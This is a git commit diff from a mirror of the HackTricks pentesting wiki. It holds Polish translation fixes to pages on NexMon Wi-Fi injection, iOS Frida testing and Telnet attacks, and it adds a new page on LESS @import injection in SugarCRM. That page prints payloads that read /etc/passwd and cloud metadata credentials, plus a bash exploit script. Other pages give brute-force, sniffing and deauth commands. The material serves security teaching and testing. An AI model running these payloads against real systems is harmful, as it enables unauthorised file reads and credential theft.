mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/pentesting-wifi/ena
This commit is contained in:
parent
d022c469af
commit
451a5b9bcd
@ -544,6 +544,7 @@
|
|||||||
|
|
||||||
# 🕸️ Pentesting Web
|
# 🕸️ Pentesting Web
|
||||||
|
|
||||||
|
- [Less Code Injection Ssrf](pentesting-web/less-code-injection-ssrf.md)
|
||||||
- [Web Vulnerabilities Methodology](pentesting-web/web-vulnerabilities-methodology.md)
|
- [Web Vulnerabilities Methodology](pentesting-web/web-vulnerabilities-methodology.md)
|
||||||
- [Reflecting Techniques - PoCs and Polygloths CheatSheet](pentesting-web/pocs-and-polygloths-cheatsheet/README.md)
|
- [Reflecting Techniques - PoCs and Polygloths CheatSheet](pentesting-web/pocs-and-polygloths-cheatsheet/README.md)
|
||||||
- [Web Vulns List](pentesting-web/pocs-and-polygloths-cheatsheet/web-vulns-list.md)
|
- [Web Vulns List](pentesting-web/pocs-and-polygloths-cheatsheet/web-vulns-list.md)
|
||||||
|
|||||||
@ -5,13 +5,13 @@
|
|||||||
## Przegląd
|
## Przegląd
|
||||||
Większość nowoczesnych telefonów z Androidem zawiera układ Wi-Fi Broadcom/Cypress, który jest dostarczany bez trybu monitorowania 802.11 lub możliwości wstrzykiwania ramek. Framework open-source NexMon łata zastrzeżone oprogramowanie układowe, aby dodać te funkcje i udostępnia je za pośrednictwem biblioteki współdzielonej (`libnexmon.so`) oraz pomocnika CLI (`nexutil`). Poprzez wstępne załadowanie tej biblioteki do standardowego sterownika Wi-Fi, zrootowane urządzenie może przechwytywać surowy ruch 802.11 i wstrzykiwać dowolne ramki – eliminując potrzebę zewnętrznego adaptera USB.
|
Większość nowoczesnych telefonów z Androidem zawiera układ Wi-Fi Broadcom/Cypress, który jest dostarczany bez trybu monitorowania 802.11 lub możliwości wstrzykiwania ramek. Framework open-source NexMon łata zastrzeżone oprogramowanie układowe, aby dodać te funkcje i udostępnia je za pośrednictwem biblioteki współdzielonej (`libnexmon.so`) oraz pomocnika CLI (`nexutil`). Poprzez wstępne załadowanie tej biblioteki do standardowego sterownika Wi-Fi, zrootowane urządzenie może przechwytywać surowy ruch 802.11 i wstrzykiwać dowolne ramki – eliminując potrzebę zewnętrznego adaptera USB.
|
||||||
|
|
||||||
Ta strona dokumentuje szybki workflow, który wykorzystuje w pełni załatany telefon Samsung Galaxy S10 (BCM4375B1) jako przykład, używając:
|
Ta strona dokumentuje szybki proces roboczy, który wykorzystuje w pełni załatany Samsung Galaxy S10 (BCM4375B1) jako przykład, używając:
|
||||||
|
|
||||||
* Moduł NexMon Magisk zawierający załatane oprogramowanie układowe + `libnexmon.so`
|
* Moduł NexMon Magisk zawierający załatane oprogramowanie układowe + `libnexmon.so`
|
||||||
* Aplikacja Hijacker na Androida do automatyzacji przełączania trybu monitorowania
|
* Aplikacja Hijacker na Androida do automatyzacji przełączania trybu monitorowania
|
||||||
* Opcjonalnie Kali NetHunter chroot do uruchamiania klasycznych narzędzi bezprzewodowych (aircrack-ng, wifite, mdk4 …) bezpośrednio na wewnętrznym interfejsie
|
* Opcjonalnie Kali NetHunter chroot do uruchamiania klasycznych narzędzi bezprzewodowych (aircrack-ng, wifite, mdk4 …) bezpośrednio na wewnętrznym interfejsie
|
||||||
|
|
||||||
Ta sama technika ma zastosowanie do każdego telefonu, który ma publicznie dostępny patch NexMon (Pixel 1, Nexus 6P, Galaxy S7/S8 itp.).
|
Ta sama technika ma zastosowanie do każdego telefonu, który ma publicznie dostępny łata NexMon (Pixel 1, Nexus 6P, Galaxy S7/S8 itp.).
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
@ -19,15 +19,15 @@ Ta sama technika ma zastosowanie do każdego telefonu, który ma publicznie dost
|
|||||||
* Telefon z Androidem z obsługiwanym układem Broadcom/Cypress (np. BCM4358/59/43596/4375B1)
|
* Telefon z Androidem z obsługiwanym układem Broadcom/Cypress (np. BCM4358/59/43596/4375B1)
|
||||||
* Root z Magisk ≥ 24
|
* Root z Magisk ≥ 24
|
||||||
* BusyBox (większość ROM-ów/NetHunter już go zawiera)
|
* BusyBox (większość ROM-ów/NetHunter już go zawiera)
|
||||||
* ZIP NexMon Magisk lub samodzielnie skompilowany patch dostarczający:
|
* ZIP NexMon Magisk lub samodzielnie skompilowana łatka dostarczająca:
|
||||||
* `/system/lib*/libnexmon.so`
|
* `/system/lib*/libnexmon.so`
|
||||||
* `/system/xbin/nexutil`
|
* `/system/xbin/nexutil`
|
||||||
* Hijacker ≥ 1.7 (arm/arm64) – https://github.com/chrisk44/Hijacker
|
* Hijacker ≥ 1.7 (arm/arm64) – [https://github.com/chrisk44/Hijacker](https://github.com/chrisk44/Hijacker)
|
||||||
* (Opcjonalnie) Kali NetHunter lub dowolny Linux chroot, w którym zamierzasz uruchomić narzędzia bezprzewodowe
|
* (Opcjonalnie) Kali NetHunter lub dowolny Linux chroot, w którym zamierzasz uruchomić narzędzia bezprzewodowe
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Flashowanie patcha NexMon (Magisk)
|
## Flashowanie łatki NexMon (Magisk)
|
||||||
1. Pobierz ZIP dla swojego dokładnego urządzenia/oprogramowania (przykład: `nexmon-s10.zip`).
|
1. Pobierz ZIP dla swojego dokładnego urządzenia/oprogramowania (przykład: `nexmon-s10.zip`).
|
||||||
2. Otwórz Magisk -> Moduły -> Zainstaluj z pamięci -> wybierz ZIP i uruchom ponownie.
|
2. Otwórz Magisk -> Moduły -> Zainstaluj z pamięci -> wybierz ZIP i uruchom ponownie.
|
||||||
Moduł kopiuje `libnexmon.so` do `/data/adb/modules/<module>/lib*/` i zapewnia, że etykiety SELinux są poprawne.
|
Moduł kopiuje `libnexmon.so` do `/data/adb/modules/<module>/lib*/` i zapewnia, że etykiety SELinux są poprawne.
|
||||||
@ -82,7 +82,7 @@ Jeśli potrzebujesz tylko pasywnego sniffingu, pomiń flagę `-s0x613`.
|
|||||||
---
|
---
|
||||||
|
|
||||||
## Używanie `libnexmon` w Kali NetHunter / chroot
|
## Używanie `libnexmon` w Kali NetHunter / chroot
|
||||||
Standardowe narzędzia w przestrzeni użytkownika w Kali nie znają NexMon, ale możesz zmusić je do jego użycia za pomocą `LD_PRELOAD`:
|
Standardowe narzędzia użytkownika w Kali nie znają NexMon, ale możesz zmusić je do jego użycia za pomocą `LD_PRELOAD`:
|
||||||
|
|
||||||
1. Skopiuj wstępnie zbudowany obiekt współdzielony do chroot:
|
1. Skopiuj wstępnie zbudowany obiekt współdzielony do chroot:
|
||||||
```bash
|
```bash
|
||||||
@ -97,11 +97,11 @@ wifite -i wlan0 # lub aircrack-ng, mdk4 …
|
|||||||
```
|
```
|
||||||
4. Po zakończeniu, wyłącz tryb monitorowania jak zwykle na Androidzie.
|
4. Po zakończeniu, wyłącz tryb monitorowania jak zwykle na Androidzie.
|
||||||
|
|
||||||
Ponieważ oprogramowanie układowe już obsługuje wstrzykiwanie radiotap, narzędzia w przestrzeni użytkownika zachowują się tak samo jak na zewnętrznym adapterze Atheros.
|
Ponieważ oprogramowanie układowe już obsługuje wstrzykiwanie radiotap, narzędzia użytkownika zachowują się tak samo jak na zewnętrznym adapterze Atheros.
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Typowe ataki możliwe
|
## Typowe możliwe ataki
|
||||||
Gdy monitor + TX jest aktywny, możesz:
|
Gdy monitor + TX jest aktywny, możesz:
|
||||||
* Przechwytywać handshake WPA(2/3-SAE) lub PMKID za pomocą `wifite`, `hcxdumptool`, `airodump-ng`.
|
* Przechwytywać handshake WPA(2/3-SAE) lub PMKID za pomocą `wifite`, `hcxdumptool`, `airodump-ng`.
|
||||||
* Wstrzykiwać ramki deautoryzacji / dezasocjacji, aby zmusić klientów do ponownego połączenia.
|
* Wstrzykiwać ramki deautoryzacji / dezasocjacji, aby zmusić klientów do ponownego połączenia.
|
||||||
@ -115,7 +115,7 @@ Wydajność na Galaxy S10 jest porównywalna z zewnętrznymi NIC USB (~20 dBm TX
|
|||||||
## Rozwiązywanie problemów
|
## Rozwiązywanie problemów
|
||||||
* `Device or resource busy` – upewnij się, że **usługa Wi-Fi Android jest wyłączona** (`svc wifi disable`) przed włączeniem trybu monitorowania.
|
* `Device or resource busy` – upewnij się, że **usługa Wi-Fi Android jest wyłączona** (`svc wifi disable`) przed włączeniem trybu monitorowania.
|
||||||
* `nexutil: ioctl(PRIV_MAGIC) failed` – biblioteka nie jest wstępnie załadowana; sprawdź ścieżkę `LD_PRELOAD`.
|
* `nexutil: ioctl(PRIV_MAGIC) failed` – biblioteka nie jest wstępnie załadowana; sprawdź ścieżkę `LD_PRELOAD`.
|
||||||
* Wstrzykiwanie ramek działa, ale nie przechwycono pakietów – niektóre ROM-y blokują kanały; spróbuj `nexutil -c <channel>` lub `iwconfig wlan0 channel <n>`.
|
* Wstrzykiwanie ramek działa, ale nie przechwycono pakietów – niektóre ROM-y twardo blokują kanały; spróbuj `nexutil -c <channel>` lub `iwconfig wlan0 channel <n>`.
|
||||||
* SELinux blokuje bibliotekę – ustaw urządzenie na *Permissive* lub napraw kontekst modułu: `chcon u:object_r:system_lib_file:s0 libnexmon.so`.
|
* SELinux blokuje bibliotekę – ustaw urządzenie na *Permissive* lub napraw kontekst modułu: `chcon u:object_r:system_lib_file:s0 libnexmon.so`.
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|||||||
@ -94,9 +94,9 @@ frida -U -f com.example.target -l my_script.js --no-pause
|
|||||||
```
|
```
|
||||||
Najnowsze wydania Frida (>=16) automatycznie obsługują uwierzytelnianie wskaźników i inne środki zaradcze iOS 17, więc większość istniejących skryptów działa od razu.
|
Najnowsze wydania Frida (>=16) automatycznie obsługują uwierzytelnianie wskaźników i inne środki zaradcze iOS 17, więc większość istniejących skryptów działa od razu.
|
||||||
|
|
||||||
### Zautomatyzowana analiza dynamiczna z MobSF (bez jailbreak)
|
### Zautomatyzowana analiza dynamiczna z MobSF (bez jailbreaka)
|
||||||
|
|
||||||
[MobSF](https://mobsf.github.io/Mobile-Security-Framework-MobSF/) może instrumentować IPA podpisane przez dewelopera na prawdziwym urządzeniu, używając tej samej techniki (`get_task_allow`) i zapewnia interfejs webowy z przeglądarką systemu plików, przechwytywaniem ruchu i konsolą Frida【†L2-L3】. Najszybszym sposobem jest uruchomienie MobSF w Dockerze, a następnie podłączenie iPhone'a przez USB:
|
[MobSF](https://mobsf.github.io/Mobile-Security-Framework-MobSF/) może instrumentować IPA podpisane przez dewelopera na prawdziwym urządzeniu, używając tej samej techniki (`get_task_allow`) i zapewnia interfejs webowy z przeglądarką systemu plików, przechwytywaniem ruchu i konsolą Frida【】. Najszybszym sposobem jest uruchomienie MobSF w Dockerze, a następnie podłączenie iPhone'a przez USB:
|
||||||
```bash
|
```bash
|
||||||
docker pull opensecurity/mobile-security-framework-mobsf:latest
|
docker pull opensecurity/mobile-security-framework-mobsf:latest
|
||||||
docker run -p 8000:8000 --privileged \
|
docker run -p 8000:8000 --privileged \
|
||||||
@ -106,10 +106,10 @@ opensecurity/mobile-security-framework-mobsf:latest
|
|||||||
```
|
```
|
||||||
MobSF automatycznie wdroży binarny plik, włączy serwer Frida w sandboxie aplikacji i wygeneruje interaktywny raport.
|
MobSF automatycznie wdroży binarny plik, włączy serwer Frida w sandboxie aplikacji i wygeneruje interaktywny raport.
|
||||||
|
|
||||||
### iOS 17 i uwagi dotyczące trybu blokady
|
### iOS 17 i ograniczenia trybu blokady
|
||||||
|
|
||||||
* **Tryb blokady** (Ustawienia → Prywatność i bezpieczeństwo) blokuje dynamiczny linker przed ładowaniem niesygnowanych lub zewnętrznie sygnowanych bibliotek dynamicznych. Podczas testowania urządzeń, które mogą mieć włączony ten tryb, upewnij się, że jest **wyłączony**, inaczej sesje Frida/objection zakończą się natychmiast.
|
* **Tryb blokady** (Ustawienia → Prywatność i bezpieczeństwo) blokuje dynamiczny linker przed ładowaniem niesygnowanych lub zewnętrznie sygnowanych bibliotek dynamicznych. Podczas testowania urządzeń, które mogą mieć włączony ten tryb, upewnij się, że jest **wyłączony**, inaczej sesje Frida/objection zakończą się natychmiast.
|
||||||
* Uwierzytelnianie wskaźników (PAC) jest egzekwowane w całym systemie na urządzeniach A12 i nowszych. Frida ≥16 transparentnie obsługuje usuwanie PAC — wystarczy, że będziesz na bieżąco aktualizować zarówno *frida-server*, jak i zestaw narzędzi Python/CLI, gdy pojawi się nowa główna wersja iOS.
|
* Uwierzytelnianie wskaźników (PAC) jest egzekwowane w całym systemie na urządzeniach A12 i nowszych. Frida ≥16 transparentnie obsługuje usuwanie PAC — wystarczy, że będziesz na bieżąco aktualizować zarówno *frida-server*, jak i zestaw narzędzi Python/CLI, gdy zostanie wydana nowa główna wersja iOS.
|
||||||
|
|
||||||
## Odniesienia
|
## Odniesienia
|
||||||
|
|
||||||
|
|||||||
@ -23,7 +23,7 @@ nmap -n -sV -Pn --script "*telnet* and safe" -p 23 <IP>
|
|||||||
```
|
```
|
||||||
Skrypt `telnet-ntlm-info.nse` uzyska informacje NTLM (wersje Windows).
|
Skrypt `telnet-ntlm-info.nse` uzyska informacje NTLM (wersje Windows).
|
||||||
|
|
||||||
Z [telnet RFC](https://datatracker.ietf.org/doc/html/rfc854): W protokole TELNET znajdują się różne "**opcje**", które będą zatwierdzone i mogą być używane z strukturą "**DO, DON'T, WILL, WON'T**", aby umożliwić użytkownikowi i serwerowi uzgodnienie użycia bardziej złożonego (lub może po prostu innego) zestawu konwencji dla ich połączenia TELNET. Takie opcje mogą obejmować zmianę zestawu znaków, tryb echa itp.
|
Z [telnet RFC](https://datatracker.ietf.org/doc/html/rfc854): W protokole TELNET znajdują się różne "**opcje**", które będą zatwierdzone i mogą być używane z strukturą "**DO, DON'T, WILL, WON'T**", aby umożliwić użytkownikowi i serwerowi zgodzenie się na użycie bardziej złożonego (lub może po prostu innego) zestawu konwencji dla ich połączenia TELNET. Takie opcje mogą obejmować zmianę zestawu znaków, tryb echa itp.
|
||||||
|
|
||||||
**Wiem, że możliwe jest enumerowanie tych opcji, ale nie wiem jak, więc daj mi znać, jeśli wiesz jak.**
|
**Wiem, że możliwe jest enumerowanie tych opcji, ale nie wiem jak, więc daj mi znać, jeśli wiesz jak.**
|
||||||
|
|
||||||
@ -35,7 +35,7 @@ Z [telnet RFC](https://datatracker.ietf.org/doc/html/rfc854): W protokole TELNET
|
|||||||
/etc/xinetd.d/telnet
|
/etc/xinetd.d/telnet
|
||||||
/etc/xinetd.d/stelnet
|
/etc/xinetd.d/stelnet
|
||||||
```
|
```
|
||||||
## Automatyczne polecenia HackTricks
|
## HackTricks Automatyczne Komendy
|
||||||
```
|
```
|
||||||
Protocol_Name: Telnet #Protocol Abbreviation if there is one.
|
Protocol_Name: Telnet #Protocol Abbreviation if there is one.
|
||||||
Port_Number: 23 #Comma separated if there is more than one.
|
Port_Number: 23 #Comma separated if there is more than one.
|
||||||
@ -69,11 +69,11 @@ Command: msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_version; set RHOS
|
|||||||
```
|
```
|
||||||
### Recent Vulnerabilities (2022-2025)
|
### Recent Vulnerabilities (2022-2025)
|
||||||
|
|
||||||
* **CVE-2024-45698 – D-Link Wi-Fi 6 routers (DIR-X4860)**: Wbudowana usługa Telnet akceptowała twardo zakodowane dane uwierzytelniające i nie sanitizowała wejścia, co pozwalało na nieautoryzowane zdalne RCE jako root za pomocą spreparowanych poleceń na porcie 23. Naprawiono w oprogramowaniu układowym ≥ 1.04B05.
|
* **CVE-2024-45698 – D-Link Wi-Fi 6 routers (DIR-X4860)**: Wbudowana usługa Telnet akceptowała twardo zakodowane dane uwierzytelniające i nie sanitizowała wejścia, co pozwalało na nieautoryzowane zdalne RCE jako root za pomocą stworzonych poleceń na porcie 23. Naprawiono w oprogramowaniu układowym ≥ 1.04B05.
|
||||||
* **CVE-2023-40478 – NETGEAR RAX30**: Przepełnienie bufora oparte na stosie w poleceniu Telnet CLI `passwd` pozwala sąsiedniemu atakującemu na ominięcie uwierzytelnienia i wykonanie dowolnego kodu jako root.
|
* **CVE-2023-40478 – NETGEAR RAX30**: Przepełnienie bufora oparte na stosie w poleceniu Telnet CLI `passwd` pozwala sąsiedniemu atakującemu na ominięcie uwierzytelnienia i wykonanie dowolnego kodu jako root.
|
||||||
* **CVE-2022-39028 – GNU inetutils telnetd**: Sekwencja dwóch bajtów (`0xff 0xf7` / `0xff 0xf8`) wywołuje dereferencję wskaźnika NULL, co może spowodować awarię `telnetd`, prowadząc do trwałego DoS po kilku awariach.
|
* **CVE-2022-39028 – GNU inetutils telnetd**: Sekwencja dwóch bajtów (`0xff 0xf7` / `0xff 0xf8`) wywołuje dereferencję wskaźnika NULL, co może spowodować awarię `telnetd`, prowadząc do trwałego DoS po kilku awariach.
|
||||||
|
|
||||||
Pamiętaj o tych CVE podczas triage podatności — jeśli cel działa na niepoprawionym oprogramowaniu układowym lub przestarzałym demonie Telnet inetutils, możesz mieć prostą drogę do wykonania kodu lub zakłócającego DoS.
|
Pamiętaj o tych CVE podczas triage podatności — jeśli cel działa na niezałatanym oprogramowaniu układowym lub przestarzałym demonie Telnet inetutils, możesz mieć prostą drogę do wykonania kodu lub zakłócającego DoS.
|
||||||
|
|
||||||
### Sniffing Credentials & Man-in-the-Middle
|
### Sniffing Credentials & Man-in-the-Middle
|
||||||
|
|
||||||
@ -85,7 +85,7 @@ sudo tcpdump -i eth0 -A 'tcp port 23 and not src host $(hostname -I | cut -d" "
|
|||||||
# Wireshark display filter
|
# Wireshark display filter
|
||||||
tcp.port == 23 && (telnet.data || telnet.option)
|
tcp.port == 23 && (telnet.data || telnet.option)
|
||||||
```
|
```
|
||||||
Dla aktywnego MITM, połącz spoofing ARP (np. `arpspoof`/`ettercap`) z tymi samymi filtrami sniffującymi, aby zbierać hasła w sieciach przełączanych.
|
Dla aktywnego MITM, połącz spoofing ARP (np. `arpspoof`/`ettercap`) z tymi samymi filtrami sniffingowymi, aby zbierać hasła w sieciach przełączanych.
|
||||||
|
|
||||||
### Zautomatyzowane ataki brute-force / Password Spraying
|
### Zautomatyzowane ataki brute-force / Password Spraying
|
||||||
```bash
|
```bash
|
||||||
@ -123,4 +123,4 @@ Po uzyskaniu powłoki pamiętaj, że **TTY są zazwyczaj głupie**; zaktualizuj
|
|||||||
* D-Link Advisory – CVE-2024-45698 Krytyczne Telnet RCE.
|
* D-Link Advisory – CVE-2024-45698 Krytyczne Telnet RCE.
|
||||||
* NVD – CVE-2022-39028 inetutils `telnetd` DoS.
|
* NVD – CVE-2022-39028 inetutils `telnetd` DoS.
|
||||||
|
|
||||||
{{#include /banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
|||||||
75
src/pentesting-web/less-code-injection-ssrf.md
Normal file
75
src/pentesting-web/less-code-injection-ssrf.md
Normal file
@ -0,0 +1,75 @@
|
|||||||
|
# LESS Code Injection prowadzący do SSRF i odczytu lokalnych plików
|
||||||
|
|
||||||
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
|
## Przegląd
|
||||||
|
|
||||||
|
LESS to popularny preprocesor CSS, który dodaje zmienne, mixiny, funkcje oraz potężną dyrektywę `@import`. Podczas kompilacji silnik LESS **pobiera zasoby wskazane w dyrektywach `@import`** i osadza ("inline") ich zawartość w wynikowym CSS, gdy używana jest opcja `(inline)`.
|
||||||
|
|
||||||
|
Gdy aplikacja konkatenatuje **wejście kontrolowane przez użytkownika** w ciągu, który jest później analizowany przez kompilator LESS, atakujący może **wstrzyknąć dowolny kod LESS**. Nadużywając `@import (inline)`, atakujący może zmusić serwer do pobrania:
|
||||||
|
|
||||||
|
* Lokalnych plików za pomocą protokołu `file://` (ujawnienie informacji / Lokalna Inkluzja Plików).
|
||||||
|
* Zdalnych zasobów w sieciach wewnętrznych lub usługach metadanych w chmurze (SSRF).
|
||||||
|
|
||||||
|
Technika ta została zaobserwowana w produktach rzeczywistych, takich jak **SugarCRM ≤ 14.0.0** (punkt końcowy `/rest/v10/css/preview`).
|
||||||
|
|
||||||
|
## Wykorzystanie
|
||||||
|
|
||||||
|
1. Zidentyfikuj parametr, który jest bezpośrednio osadzony w ciągu arkusza stylów przetwarzanym przez silnik LESS (np. `?lm=` w SugarCRM).
|
||||||
|
2. Zamknij bieżące oświadczenie i wstrzyknij nowe dyrektywy. Najczęściej używane prymitywy to:
|
||||||
|
* `;` – kończy poprzednią deklarację.
|
||||||
|
* `}` – zamyka poprzedni blok (jeśli to konieczne).
|
||||||
|
3. Użyj `@import (inline) '<URL>';`, aby odczytać dowolne zasoby.
|
||||||
|
4. Opcjonalnie wstrzyknij **znacznik** (`data:` URI) po imporcie, aby ułatwić ekstrakcję pobranej zawartości z skompilowanego CSS.
|
||||||
|
|
||||||
|
### Odczyt lokalnych plików
|
||||||
|
```
|
||||||
|
1; @import (inline) 'file:///etc/passwd';
|
||||||
|
@import (inline) 'data:text/plain,@@END@@'; //
|
||||||
|
```
|
||||||
|
Zawartość `/etc/passwd` pojawi się w odpowiedzi HTTP tuż przed znacznikiem `@@END@@`.
|
||||||
|
|
||||||
|
### SSRF – Metadane chmury
|
||||||
|
```
|
||||||
|
1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/";
|
||||||
|
@import (inline) 'data:text/plain,@@END@@'; //
|
||||||
|
```
|
||||||
|
### Zautomatyzowany PoC (przykład SugarCRM)
|
||||||
|
```bash
|
||||||
|
#!/usr/bin/env bash
|
||||||
|
# Usage: ./exploit.sh http://target/sugarcrm/ /etc/passwd
|
||||||
|
|
||||||
|
TARGET="$1" # Base URL of SugarCRM instance
|
||||||
|
RESOURCE="$2" # file:// path or URL to fetch
|
||||||
|
|
||||||
|
INJ=$(python -c "import urllib.parse,sys;print(urllib.parse.quote_plus(\"1; @import (inline) '$RESOURCE'; @import (inline) 'data:text/plain,@@END@@';//\"))")
|
||||||
|
|
||||||
|
curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \
|
||||||
|
sed -n 's/.*@@END@@\(.*\)/\1/p'
|
||||||
|
```
|
||||||
|
## Wykrywanie
|
||||||
|
|
||||||
|
* Szukaj dynamicznie generowanych odpowiedzi `.less` lub `.css` zawierających niesanitizowane parametry zapytania.
|
||||||
|
* Podczas przeglądu kodu, szukaj konstrukcji takich jak `"@media all { .preview { ... ${userInput} ... } }"` przekazywanych do funkcji renderujących LESS.
|
||||||
|
* Próby wykorzystania często zawierają `@import`, `(inline)`, `file://`, `http://169.254.169.254` itp.
|
||||||
|
|
||||||
|
## Łagodzenie
|
||||||
|
|
||||||
|
* Nie przekazuj nieufnych danych do kompilatora LESS.
|
||||||
|
* Jeśli wymagane są dynamiczne wartości, odpowiednio je **escape**/sanitizuj (np. ogranicz do tokenów numerycznych, białe listy).
|
||||||
|
* Wyłącz, gdy to możliwe, możliwość używania importów `(inline)`, lub ogranicz dozwolone protokoły do `https`.
|
||||||
|
* Utrzymuj zależności na bieżąco – SugarCRM naprawił ten problem w wersjach 13.0.4 i 14.0.1.
|
||||||
|
|
||||||
|
## Przykłady z rzeczywistego świata
|
||||||
|
|
||||||
|
| Produkt | Wrażliwy punkt końcowy | Wpływ |
|
||||||
|
|---------|-----------------------|-------|
|
||||||
|
| SugarCRM ≤ 14.0.0 | `/rest/v10/css/preview?lm=` | Nieautoryzowany SSRF i odczyt lokalnych plików |
|
||||||
|
|
||||||
|
## Odniesienia
|
||||||
|
|
||||||
|
* [SugarCRM ≤ 14.0.0 (css/preview) LESS Code Injection Vulnerability](https://karmainsecurity.com/KIS-2025-04)
|
||||||
|
* [SugarCRM Security Advisory SA-2024-059](https://support.sugarcrm.com/resources/security/sugarcrm-sa-2024-059/)
|
||||||
|
* [CVE-2024-58258](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58258)
|
||||||
|
|
||||||
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
@ -4,4 +4,10 @@
|
|||||||
|
|
||||||
Sprawdź **[https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/](https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/)**
|
Sprawdź **[https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/](https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/)**
|
||||||
|
|
||||||
|
- SugarCRM ≤ 14.0.0 – LESS `@import` injection w `/rest/v10/css/preview` umożliwia nieautoryzowany SSRF i odczyt lokalnych plików.
|
||||||
|
|
||||||
|
{{#ref}}
|
||||||
|
../less-code-injection-ssrf.md
|
||||||
|
{{#endref}}
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|||||||
Loading…
x
Reference in New Issue
Block a user